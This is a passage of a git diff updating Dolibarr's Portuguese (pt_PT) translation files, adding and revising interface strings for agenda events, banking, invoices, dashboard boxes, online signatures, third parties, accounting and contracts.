      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/pt_PT/agenda.lang b/htdocs/langs/pt_PT/agenda.lang index 508ff6668e9..d702a61340a 100644 --- a/htdocs/langs/pt_PT/agenda.lang +++ b/htdocs/langs/pt_PT/agenda.lang @@ -45,6 +45,7 @@ CONTRACT_DELETEInDolibarr=Contrato %s excluído PropalClosedSignedInDolibarr=Orçamento %s assinado PropalClosedRefusedInDolibarr=Orçamento %s recusado PropalValidatedInDolibarr=Orçamento %s validado +PropalBackToDraftInDolibarr=Proposal %s go back to draft status PropalClassifiedBilledInDolibarr=Orçamento %s classificado como faturado InvoiceValidatedInDolibarr=Fatura %s, validada InvoiceValidatedInDolibarrFromPos=Fatura %s, validada a partir do ponto de venda @@ -56,6 +57,7 @@ MemberValidatedInDolibarr=Membro %s, validado MemberModifiedInDolibarr=Membro %s modificado MemberResiliatedInDolibarr=Membro %s, terminado MemberDeletedInDolibarr=Membro %s, eliminado +MemberExcludedInDolibarr=Member %s excluded MemberSubscriptionAddedInDolibarr=Subscrição %s do membro %s adicionada MemberSubscriptionModifiedInDolibarr=Subscrição %s do membro %s modificada MemberSubscriptionDeletedInDolibarr=Subscrição%s do membro %s eliminada @@ -66,6 +68,8 @@ ShipmentBackToDraftInDolibarr=Shipment %s go back to draft status ShipmentDeletedInDolibarr=Expedição %s, eliminada ShipmentCanceledInDolibarr=Shipment %s canceled ReceptionValidatedInDolibarr=Receção %s validada +ReceptionDeletedInDolibarr=Reception %s deleted +ReceptionClassifyClosedInDolibarr=Reception %s classified closed OrderCreatedInDolibarr=Encomenda %s, criada OrderValidatedInDolibarr=Encomenda %s, validada OrderDeliveredInDolibarr=Encomenda %s, classificada como entregue @@ -84,6 +88,7 @@ SupplierInvoiceSentByEMail=Fatura do fornecedor %s enviada por e-mail ShippingSentByEMail=Remessa %s enviada por e-mail ShippingValidated= Expedição %s, validada InterventionSentByEMail=Intervenção %s enviada por email +ProjectSentByEMail=Project %s sent by email ProposalDeleted=Orçamento eliminado OrderDeleted=Encomenda eliminada InvoiceDeleted=Fatura eliminada @@ -134,7 +139,7 @@ AgendaUrlOptions4=logint =%s para restringir a saída às ações atribu AgendaUrlOptionsProject=project=__PROJECT_ID__ para que apenas obtenha eventos vinculados ao projeto __PROJECT_ID__ . AgendaUrlOptionsNotAutoEvent= notactiontype = systemauto para excluir eventos automáticos. AgendaUrlOptionsIncludeHolidays=includeholidays=1 to include events of holidays. -AgendaShowBirthdayEvents=Birthdays of contacts +AgendaShowBirthdayEvents=Aniversários dos contactos AgendaHideBirthdayEvents=Ocultar aniversários dos contactos Busy=Ocupado ExportDataset_event1=Lista de eventos da agenda @@ -157,6 +162,7 @@ DateActionBegin=Data de início do evento ConfirmCloneEvent=Tem a certeza que quer clonar o evento %s? RepeatEvent=Repetir evento OnceOnly=Once only +EveryDay=Every day EveryWeek=Semanalmente EveryMonth=Mensalmente DayOfMonth=Dia do mês @@ -172,3 +178,4 @@ AddReminder=Create an automatic reminder notification for this event ErrorReminderActionCommCreation=Error creating the reminder notification for this event BrowserPush=Browser Popup Notification ActiveByDefault=Enabled by default +Until=until diff --git a/htdocs/langs/pt_PT/banks.lang b/htdocs/langs/pt_PT/banks.lang index 169578e5424..838f10d0655 100644 --- a/htdocs/langs/pt_PT/banks.lang +++ b/htdocs/langs/pt_PT/banks.lang @@ -95,11 +95,11 @@ LineRecord=Registo AddBankRecord=Adicionar entrada AddBankRecordLong=Adicionar entrada manualmente Conciliated=Reconciliado -ConciliatedBy=Conciliado por +ReConciliedBy=Conciliado por DateConciliating=Data Conciliação BankLineConciliated=Entrada reconciliada com recibo do banco -Reconciled=Reconciliado -NotReconciled=Não reconciliado +BankLineReconciled=Reconciliado +BankLineNotReconciled=Not reconciled CustomerInvoicePayment=Pagamento de cliente SupplierInvoicePayment=Pagamento de fornecedor SubscriptionPayment=Pagamento Assinatura @@ -127,7 +127,7 @@ ConfirmDeleteTransaction=Tem a certeza que deseja eliminar esta entrada? ThisWillAlsoDeleteBankRecord=Isto também eliminará a entrada bancária gerada BankMovements=Movimentos PlannedTransactions=Entradas previstas -Graph=Graphs +Graph=Gráficos ExportDataset_banque_1=Entradas bancárias e extrato de conta ExportDataset_banque_2=Comprovativo de depósito TransactionOnTheOtherAccount=Transacção sobre outra Conta @@ -172,8 +172,8 @@ SEPAMandate=Mandato SEPA YourSEPAMandate=Seu mandato SEPA FindYourSEPAMandate=Este é o seu mandato da SEPA para autorizar a nossa empresa a efetuar um pedido de débito direto ao seu banco. Devolva-o assinado (digitalização do documento assinado) ou envie-o por correio para AutoReportLastAccountStatement=Automatically fill the field 'number of bank statement' with last statement number when making reconciliation -CashControl=POS cash desk control -NewCashFence=New cash desk opening or closing +CashControl=POS cash control +NewCashFence=New cash control (opening or closing) BankColorizeMovement=Colorize movements BankColorizeMovementDesc=If this function is enable, you can choose specific background color for debit or credit movements BankColorizeMovementName1=Background color for debit movement @@ -182,3 +182,6 @@ IfYouDontReconcileDisableProperty=If you don't make the bank reconciliations on NoBankAccountDefined=No bank account defined NoRecordFoundIBankcAccount=No record found in bank account. Commonly, this occurs when a record has been deleted manually from the list of transaction in the bank account (for example during a reconciliation of the bank account). Another reason is that the payment was recorded when the module "%s" was disabled. AlreadyOneBankAccount=Already one bank account defined +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA transfer: 'Payment Type' at 'Credit Transfer' level +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=When generatin a SEPA XML file for Credit transfers, the section "PaymentTypeInformation" can now be placed inside the "CreditTransferTransactionInformation" section (instead of "Payment" section). We strongly recommend to keep this unchecked to place PaymentTypeInformation at Payment level, as all banks will not necessarily accept it at CreditTransferTransactionInformation level. Contact your bank before placing PaymentTypeInformation at CreditTransferTransactionInformation level. +ToCreateRelatedRecordIntoBank=To create missing related bank record diff --git a/htdocs/langs/pt_PT/bills.lang b/htdocs/langs/pt_PT/bills.lang index a8ed55ec0c8..c1a704fa24d 100644 --- a/htdocs/langs/pt_PT/bills.lang +++ b/htdocs/langs/pt_PT/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Estatísticas das faturas a clientes BillsStatisticsSuppliers=Estatísticas de faturas de fornecedores DisabledBecauseDispatchedInBookkeeping=Desativado porque a fatura foi enviada para a contabilidade DisabledBecauseNotLastInvoice=Desativado porque a fatura não pode ser apagada. Algumas faturas foram registradas após esta e irão criar furos no contador. +DisabledBecauseNotLastSituationInvoice=Disabled because invoice is not erasable. This invoice is not the last one in situation invoice cycle. DisabledBecauseNotErasable=Desativar porque não pode ser eliminado InvoiceStandard=Fatura Normal InvoiceStandardAsk=Fatura Normal InvoiceStandardDesc=Este tipo de fatura é uma fatura comum. +InvoiceStandardShort=Standard InvoiceDeposit=Fatura de adiantamento InvoiceDepositAsk=Fatura de adiantamento InvoiceDepositDesc=Este tipo de fatura é feita quando um adiantamento foi recebido. @@ -24,6 +26,7 @@ InvoiceProForma=Fatura Pró-Forma InvoiceProFormaAsk=Fatura Pró-Forma InvoiceProFormaDesc=A Fatura Pró-Forma é uma imagem de uma fatura, mas não tem valor contabilístico. InvoiceReplacement=Fatura de Substituição +InvoiceReplacementShort=Replacement InvoiceReplacementAsk=Fatura de Substituição para a Fatura InvoiceReplacementDesc= Fatura de substituição é usada para substituir completamente uma fatura sem pagamento já recebido.

      Nota: Apenas as faturas sem pagamento podem ser substituídas. Se a fatura que você substituiu ainda não foi fechada, ela será automaticamente encerrada como 'abandonada'. InvoiceAvoir=Nota de Crédito @@ -81,14 +84,14 @@ PaymentsReports=Relatórios de pagamentos PaymentsAlreadyDone=Pagamentos já efetuados PaymentsBackAlreadyDone=Reembolsos já feitos PaymentRule=Estado do Pagamento -PaymentMode=Payment method +PaymentMode=Método de pagamento PaymentModes=Payment methods DefaultPaymentMode=Default Payment method DefaultBankAccount=Default Bank Account IdPaymentMode=Payment method (id) CodePaymentMode=Payment method (code) LabelPaymentMode=Payment method (label) -PaymentModeShort=Payment method +PaymentModeShort=Método de pagamento PaymentTerm=Payment Term PaymentConditions=Termos de pagamento PaymentConditionsShort=Termos de pagamento @@ -119,7 +122,7 @@ ConvertExcessPaidToReduc=Converter o excesso pago em desconto disponível EnterPaymentReceivedFromCustomer=Adicionar pagamento recebido de cliente EnterPaymentDueToCustomer=Realizar pagamento de recibos à cliente DisabledBecauseRemainderToPayIsZero=Desativado porque o restante não pago é zero -PriceBase=Base price +PriceBase=Preço base BillStatus=Estado da fatura StatusOfGeneratedInvoices=Estado das faturas geradas BillStatusDraft=Rascunho (precisa de ser validado) @@ -156,8 +159,10 @@ ErrorInvoiceAvoirMustBeNegative=Erro, uma fatura deste tipo deve ter um montante ErrorInvoiceOfThisTypeMustBePositive=Erro, este tipo de fatura deve ter um valor sem imposto positivo (ou nulo) ErrorCantCancelIfReplacementInvoiceNotValidated=Erro, não pode cancelar uma fatura que tenha sido substituída por uma outra fatura e que se encontra ainda em rascunho ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Essa parte ou outra já é usada para que as séries de descontos não possam ser removidas. +ErrorInvoiceIsNotLastOfSameType=Error: The date of invoice %s is %s. It must be posterior or equal to last date for same type invoices (%s). Please change the invoice date. BillFrom=Emissor BillTo=Cliente +ShippingTo=Shipping to ActionsOnBill=Ações sobre a fatura RecurringInvoiceTemplate=Fatura de modelo / recorrente NoQualifiedRecurringInvoiceTemplateFound=Nenhuma fatura de modelo recorrente qualificada para geração. @@ -282,6 +287,8 @@ RecurringInvoices=Faturas recorrentes RecurringInvoice=Recurring invoice RepeatableInvoice=Fatura Modelo RepeatableInvoices=Faturas Modelo +RecurringInvoicesJob=Generation of recurring invoices (sales invoices) +RecurringSupplierInvoicesJob=Generation of recurring invoices (purchase invoices) Repeatable=Modelo Repeatables=Modelos ChangeIntoRepeatableInvoice=Converter em fatura modelo @@ -426,14 +433,24 @@ PaymentConditionShort14D=14 dias PaymentCondition14D=14 dias PaymentConditionShort14DENDMONTH=14 dias do final do mês PaymentCondition14DENDMONTH=Dentro de 14 dias após o final do mês +PaymentConditionShortDEP30PCTDEL=__DEPOSIT_PERCENT__%% deposit +PaymentConditionDEP30PCTDEL=__DEPOSIT_PERCENT__%% deposit, remainder on delivery FixAmount=Quantidade fixa - 1 linha com rótulo '%s' VarAmount=Quantidade variável (%% total.) VarAmountOneLine=Quantidade variável (%% tot.) - 1 linha com o rótulo '%s' VarAmountAllLines=Variable amount (%% tot.) - all lines from origin +DepositPercent=Deposit %% +DepositGenerationPermittedByThePaymentTermsSelected=This is permitted by the payment terms selected +GenerateDeposit=Generate a %s%% deposit invoice +ValidateGeneratedDeposit=Validate the generated deposit +DepositGenerated=Deposit generated +ErrorCanOnlyAutomaticallyGenerateADepositFromProposalOrOrder=You can only automatically generate a deposit from a proposal or an order +ErrorPaymentConditionsNotEligibleToDepositCreation=The chose payment conditions are not eligible for automatic deposit generation # PaymentType PaymentTypeVIR=Transferência bancária PaymentTypeShortVIR=Transferência bancária PaymentTypePRE=Débito direto +PaymentTypePREdetails=(on account *-%s) PaymentTypeShortPRE=Débito direto PaymentTypeLIQ=Numerário PaymentTypeShortLIQ=Numerário @@ -468,7 +485,7 @@ RegulatedOn=Regulado em ChequeNumber=Cheque nº ChequeOrTransferNumber=Cheque/Transferência nº ChequeBordereau=Verifique o horário -ChequeMaker=Check/Transfer sender +ChequeMaker=Cheque/Transferência remetente ChequeBank=Banco do cheque CheckBank=Verificar NetToBePaid=Quantia líquida a pagar @@ -482,6 +499,7 @@ PaymentByChequeOrderedToShort=Pagamentos de cheques (incluindo impostos) devem s SendTo=- Enviando Para PaymentByTransferOnThisBankAccount=Pagamento por transferência para a seguinte conta bancária VATIsNotUsedForInvoice=* IVA não aplicável art-293B do CGI +VATIsNotUsedForInvoiceAsso=* Non applicable VAT art-261-7 of CGI LawApplicationPart1=Por aplicação da lei 80.335 de 12/05/80 LawApplicationPart2=As mercadorias permanecem em propriedade de LawApplicationPart3=o vendedor até o pagamento integral @@ -599,7 +617,6 @@ BILL_SUPPLIER_DELETEInDolibarr=Supplier invoice deleted UnitPriceXQtyLessDiscount=Unit price x Qty - Discount CustomersInvoicesArea=Customer billing area SupplierInvoicesArea=Supplier billing area -FacParentLine=Invoice Line Parent SituationTotalRayToRest=Remainder to pay without taxe PDFSituationTitle=Situation n° %d SituationTotalProgress=Total progress %d %% @@ -607,3 +624,10 @@ SearchUnpaidInvoicesWithDueDate=Search unpaid invoices with a due date = %s NoPaymentAvailable=No payment available for %s PaymentRegisteredAndInvoiceSetToPaid=Payment registered and invoice %s set to paid SendEmailsRemindersOnInvoiceDueDate=Send reminder by email for unpaid invoices +MakePaymentAndClassifyPayed=Record payment +BulkPaymentNotPossibleForInvoice=Bulk payment is not possible for invoice %s (bad type or status) +MentionVATDebitOptionIsOn=Option to pay tax based on debits +MentionCategoryOfOperations=Category of operations +MentionCategoryOfOperations0=Delivery of goods +MentionCategoryOfOperations1=Provision of services +MentionCategoryOfOperations2=Mixed - Delivery of goods & provision of services diff --git a/htdocs/langs/pt_PT/boxes.lang b/htdocs/langs/pt_PT/boxes.lang index 853020046bd..55e55b9c6b4 100644 --- a/htdocs/langs/pt_PT/boxes.lang +++ b/htdocs/langs/pt_PT/boxes.lang @@ -23,7 +23,7 @@ BoxLastMembersSubscriptions=Latest member subscriptions BoxFicheInter=Últimas intervenções BoxCurrentAccounts=Saldo de abertura das contas BoxTitleMemberNextBirthdays=Birthdays of this month (members) -BoxTitleMembersByType=Members by type +BoxTitleMembersByType=Members by type and status BoxTitleMembersSubscriptionsByYear=Members Subscriptions by year BoxTitleLastRssInfos=Últimas %s notícias de %s BoxTitleLastProducts=Produtos / serviços: último %s modificado @@ -44,11 +44,13 @@ BoxTitleSupplierOrdersAwaitingReception=Supplier orders awaiting reception BoxTitleLastModifiedContacts=Contatos / endereços: último %s modificado BoxMyLastBookmarks=Marcadores: último %s BoxOldestExpiredServices=Mais antigos ativos de serviços vencidos +BoxOldestActions=Oldest events to do BoxLastExpiredServices=Últimos %s contactos mais antigos com serviços ativos expirados BoxTitleLastActionsToDo=Últimas %s ações a fazer -BoxTitleLastContracts=Latest %s contracts which were modified -BoxTitleLastModifiedDonations=Latest %s donations which were modified -BoxTitleLastModifiedExpenses=Latest %s expense reports which were modified +BoxTitleOldestActionsToDo=Oldest %s events to do, not completed +BoxTitleLastContracts=Contratos mais recentes (%s) que foram modificados +BoxTitleLastModifiedDonations=Donativos mais recentes (%s) que foram modificados +BoxTitleLastModifiedExpenses=Relatórios de despesas mais recentes (%s) que foram modificados BoxTitleLatestModifiedBoms=Latest %s BOMs which were modified BoxTitleLatestModifiedMos=Latest %s Manufacturing Orders which were modified BoxTitleLastOutstandingBillReached=Customers with maximum outstanding exceeded diff --git a/htdocs/langs/pt_PT/commercial.lang b/htdocs/langs/pt_PT/commercial.lang index b0aefc17d93..15236499f13 100644 --- a/htdocs/langs/pt_PT/commercial.lang +++ b/htdocs/langs/pt_PT/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Estado da prospeção DraftPropals=Orçamentos rascunhos NoLimit=Sem limite ToOfferALinkForOnlineSignature=Link para assinatura online -WelcomeOnOnlineSignaturePage=Welcome to the page to accept commercial proposals from %s -ThisScreenAllowsYouToSignDocFrom=Esta página permite-lhe aceitar e assinar, ou recusar um orçamento/cotação -ThisIsInformationOnDocumentToSign=Esta é a informação no documento para aceitar ou recusar +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Esta página permite-lhe aceitar e assinar, ou recusar um orçamento/cotação +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Esta é a informação no documento para aceitar ou recusar +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Signature of quote/commercial proposal %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Recurso para assinatura online desativado ou este documento foi criado antes que o recurso fosse ativado diff --git a/htdocs/langs/pt_PT/companies.lang b/htdocs/langs/pt_PT/companies.lang index ccfb56424f9..2e887e0dc1a 100644 --- a/htdocs/langs/pt_PT/companies.lang +++ b/htdocs/langs/pt_PT/companies.lang @@ -44,15 +44,15 @@ Individual=Particular ToCreateContactWithSameName=Criará automaticamente um contato / endereço com as mesmas informações do terceiro sob o terceiro. Na maioria dos casos, mesmo que seu terceiro seja uma pessoa física, criar um terceiro sozinho é suficiente. ParentCompany=Empresa-mãe Subsidiaries=Subsidiárias -ReportByMonth=Report per month -ReportByCustomers=Report per customer -ReportByThirdparties=Report per thirdparty -ReportByQuarter=Report per rate +ReportByMonth=Relatório por mês +ReportByCustomers=Relatório por cliente +ReportByThirdparties=Relatório por terceiro +ReportByQuarter=Relatório por taxa CivilityCode=Código cortesía RegisteredOffice=Domicilio social Lastname=Apelidos Firstname=Primeiro Nome -RefEmployee=Employee reference +RefEmployee=Referência de funcionário NationalRegistrationNumber=National registration number PostOrFunction=Posição da tarefa UserTitle=Título @@ -60,20 +60,20 @@ NatureOfThirdParty=Natureza do terceiro NatureOfContact=Natureza do contacto Address=Direcção State=Concelho -StateId=State ID +StateId=Identificação Estatal StateCode=Código de região StateShort=Concelho Region=Distrito Region-State=Distrito - Concelho Country=País CountryCode=Código país -CountryId=Country ID +CountryId=Id. do País Phone=Telefone PhoneShort=Telefone Skype=Skype Call=Chamada Chat=Chat -PhonePro=Bus. phone +PhonePro=Telefone comercial PhonePerso=Telef. particular PhoneMobile=Telemovel No_Email=Recusar emails em massa @@ -82,7 +82,7 @@ Zip=Código postal Town=Localidade Web=Web Poste= Posição -DefaultLang=Default language +DefaultLang=Idioma predefinido VATIsUsed=Imposto sobre vendas usado VATIsUsedWhenSelling=This defines if this third party includes a sales tax or not when it makes an invoice to its own customers VATIsNotUsed=Não sujeito a IVA @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Desconto Relativo CustomerAbsoluteDiscountShort=Desconto fixo CompanyHasRelativeDiscount=Este cliente tem um desconto por defeito de %s%% CompanyHasNoRelativeDiscount=Este cliente não tem descontos relativos por defeito -HasRelativeDiscountFromSupplier=You have a default discount of %s%% from this vendor -HasNoRelativeDiscountFromSupplier=Você não tem desconto relativo predefinido deste fornecedor +HasRelativeDiscountFromSupplier=You have a default discount of %s%% with this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount with this vendor CompanyHasAbsoluteDiscount=Este cliente tem descontos disponíveis (notas de créditos ou adiantamentos) para %s %s CompanyHasDownPaymentOrCommercialDiscount=Este cliente tem descontos disponíveis (comerciais, adiantamentos) para %s %s CompanyHasCreditNote=Este cliente ainda tem notas de crédito para %s %s -HasNoAbsoluteDiscountFromSupplier=Você não tem desconto ou nota de crédito disponível neste fornecedor +HasNoAbsoluteDiscountFromSupplier=No discount/credit available from this vendor HasAbsoluteDiscountFromSupplier=You have discounts available (credits notes or down payments) for %s %s from this vendor HasDownPaymentOrCommercialDiscountFromSupplier=You have discounts available (commercial, down payments) for %s %s from this vendor HasCreditNoteFromSupplier=You have credit notes for %s %s from this vendor @@ -354,7 +354,7 @@ CustomerCodeDesc=Código do cliente, exclusivo para todos os clientes SupplierCodeDesc=Código de Fornecedor, exclusivo para todos os fornecedores RequiredIfCustomer=Requerida se o Terceiro for Cliente ou Cliente Potencial RequiredIfSupplier=Obrigatório se os terceiros forem fornecedores -ValidityControledByModule=Validity controlled by the module +ValidityControledByModule=Validade controlada pelo módulo ThisIsModuleRules=Regras para este módulo ProspectToContact=Cliente Potencial a Contactar CompanyDeleted=A Empresa "%s" foi Eliminada @@ -364,7 +364,7 @@ ListOfThirdParties=Lista de Terceiros ShowCompany=Terceiro ShowContact=Endereço de contacto ContactsAllShort=Todos (sem filtro) -ContactType=Contact role +ContactType=Função do contacto ContactForOrders=Contacto para Pedidos ContactForOrdersOrShipments=Contacto da encomenda ou da expedição ContactForProposals=Contacto do orçamento @@ -386,7 +386,7 @@ VATIntraCheck=Verificar VATIntraCheckDesc=O ID do IVA deve incluir o prefixo do país. O link %s usa o serviço de verificador de IVA europeu (VIES) que requer acesso à Internet do servidor Dolibarr. VATIntraCheckURL=http://ec.europa.eu/taxation_customs/vies/vieshome.do VATIntraCheckableOnEUSite=Verifique o ID do IVA intracomunitário no site da Comissão Europeia -VATIntraManualCheck=You can also check manually on the European Commission website %s +VATIntraManualCheck=Também pode verificar manualmente no ''site'' da Web da Comissão Europeia %s ErrorVATCheckMS_UNAVAILABLE=Verificação Impossivel. O serviço de verificação não é prestado pelo país membro (%s). NorProspectNorCustomer=Não é cliente potencial, nem cliente JuridicalStatus=Forma Jurídica @@ -444,7 +444,7 @@ AddAddress=Adicionar Direcção SupplierCategory=Categoria do fornecedor JuridicalStatus200=Independente DeleteFile=Eliminar ficheiro -ConfirmDeleteFile=Tem a certeza que quer eliminar este ficheiro? +ConfirmDeleteFile=Tem a certeza que pretende eliminar este ficheiro %s ? AllocateCommercial=Atribuído a representante de vendas Organization=Organismo FiscalYearInformation=Ano fiscal @@ -462,8 +462,8 @@ ListSuppliersShort=Lista de Fornecedores ListProspectsShort=Lista de Perspectivas ListCustomersShort=Lista de Clientes ThirdPartiesArea=Terceiros / Contatos -LastModifiedThirdParties=Latest %s Third Parties which were modified -UniqueThirdParties=Total number of Third Parties +LastModifiedThirdParties=Terceiros mais recentes (%s) que foram modificados +UniqueThirdParties=Número total de Terceiros InActivity=Aberto ActivityCeased=Fechado ThirdPartyIsClosed=O terceiro encontra-se fechado @@ -498,3 +498,9 @@ RestOfEurope=Rest of Europe (EEC) OutOfEurope=Out of Europe (EEC) CurrentOutstandingBillLate=Current outstanding bill late BecarefullChangeThirdpartyBeforeAddProductToInvoice=Be carefull, depending on your product price settings, you should change thirdparty before adding product to POS. +EmailAlreadyExistsPleaseRewriteYourCompanyName=email already exists please rewrite your company name +TwoRecordsOfCompanyName=more than one record exists for this company, please contact us to complete your partnership request +CompanySection=Company section +ShowSocialNetworks=Show social networks +HideSocialNetworks=Hide social networks + diff --git a/htdocs/langs/pt_PT/compta.lang b/htdocs/langs/pt_PT/compta.lang index 06057502259..888b94e626c 100644 --- a/htdocs/langs/pt_PT/compta.lang +++ b/htdocs/langs/pt_PT/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Saldo (antes) Balance=Saldo Debit=Débito Credit=Crédito +AccountingDebit=Débito +AccountingCredit=Crédito Piece=Doc. Contabilístico AmountHTVATRealReceived=Total Recebido AmountHTVATRealPaid=Total Pago @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Eliminar um pagamento de imposto social ou fiscal DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Impostos e pagamentos sociais e fiscais CalcModeVATDebt=Modo %sVAT no compromisso accounting%s . CalcModeVATEngagement=Modo %sVAT em rendimentos-expenses%s . @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=O relatório do volume de ne TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=O relatório do volume de negócios cobrado por taxa de imposto sobre vendas não está disponível. Este relatório está disponível apenas para faturamento faturado. CalculationMode=Modo de cálculo AccountancyJournal=Diário de códigos contábeis -ACCOUNTING_VAT_SOLD_ACCOUNT=Conta de contabilidade por padrão para IVA sobre vendas (usada se não definida na configuração do dicionário de IVA) -ACCOUNTING_VAT_BUY_ACCOUNT=Conta de contabilidade por padrão para IVA nas compras (usada se não definida na configuração do dicionário de IVA) -ACCOUNTING_VAT_PAY_ACCOUNT=Conta de contabilidade por padrão para pagar o IVA -ACCOUNTING_ACCOUNT_CUSTOMER=Conta de contabilidade usada para terceiros do cliente +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=A conta contábil dedicada definida no cartão de terceiros será usada apenas para a contabilidade da Subledger. Este será usado para Contabilidade Geral e como valor padrão da contabilidade do Contador, se a conta contábil do cliente dedicada a terceiros não estiver definida. -ACCOUNTING_ACCOUNT_SUPPLIER=Conta de contabilidade usada para fornecedores de terceiros +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirme o clone de um imposto social / fiscal ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/pt_PT/contracts.lang b/htdocs/langs/pt_PT/contracts.lang index 53c49c1683a..388f7ebcbe2 100644 --- a/htdocs/langs/pt_PT/contracts.lang +++ b/htdocs/langs/pt_PT/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Contractos/Subscrições ContractsAndLine=Contratos e linha de contratos Contract=Contrato ContractLine=Linha de contrato +ContractLines=Contract lines Closing=Encerramento NoContracts=Sem contratos MenuServices=Serviços @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Tem a certeza que deseja eliminar esta linha do contra MoveToAnotherContract=Mover o serviço para outro contrato. ConfirmMoveToAnotherContract=Eu escolhi um novo contrato alvo e confirmo que quero mover este serviço para este contrato. ConfirmMoveToAnotherContractQuestion=Para qual contrato (do mesmo terceiro) deseja mover este serviço? -PaymentRenewContractId=Renovar a linha do contrato (número %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Expirado desde NoExpiredServices=Nenhum serviço ativo expirado ListOfServicesToExpireWithDuration=Lista de serviços a expirar em %s dias @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Contacto cliente assinante do contrato HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/pt_PT/cron.lang b/htdocs/langs/pt_PT/cron.lang index 6b0bc412afc..09a29d513ba 100644 --- a/htdocs/langs/pt_PT/cron.lang +++ 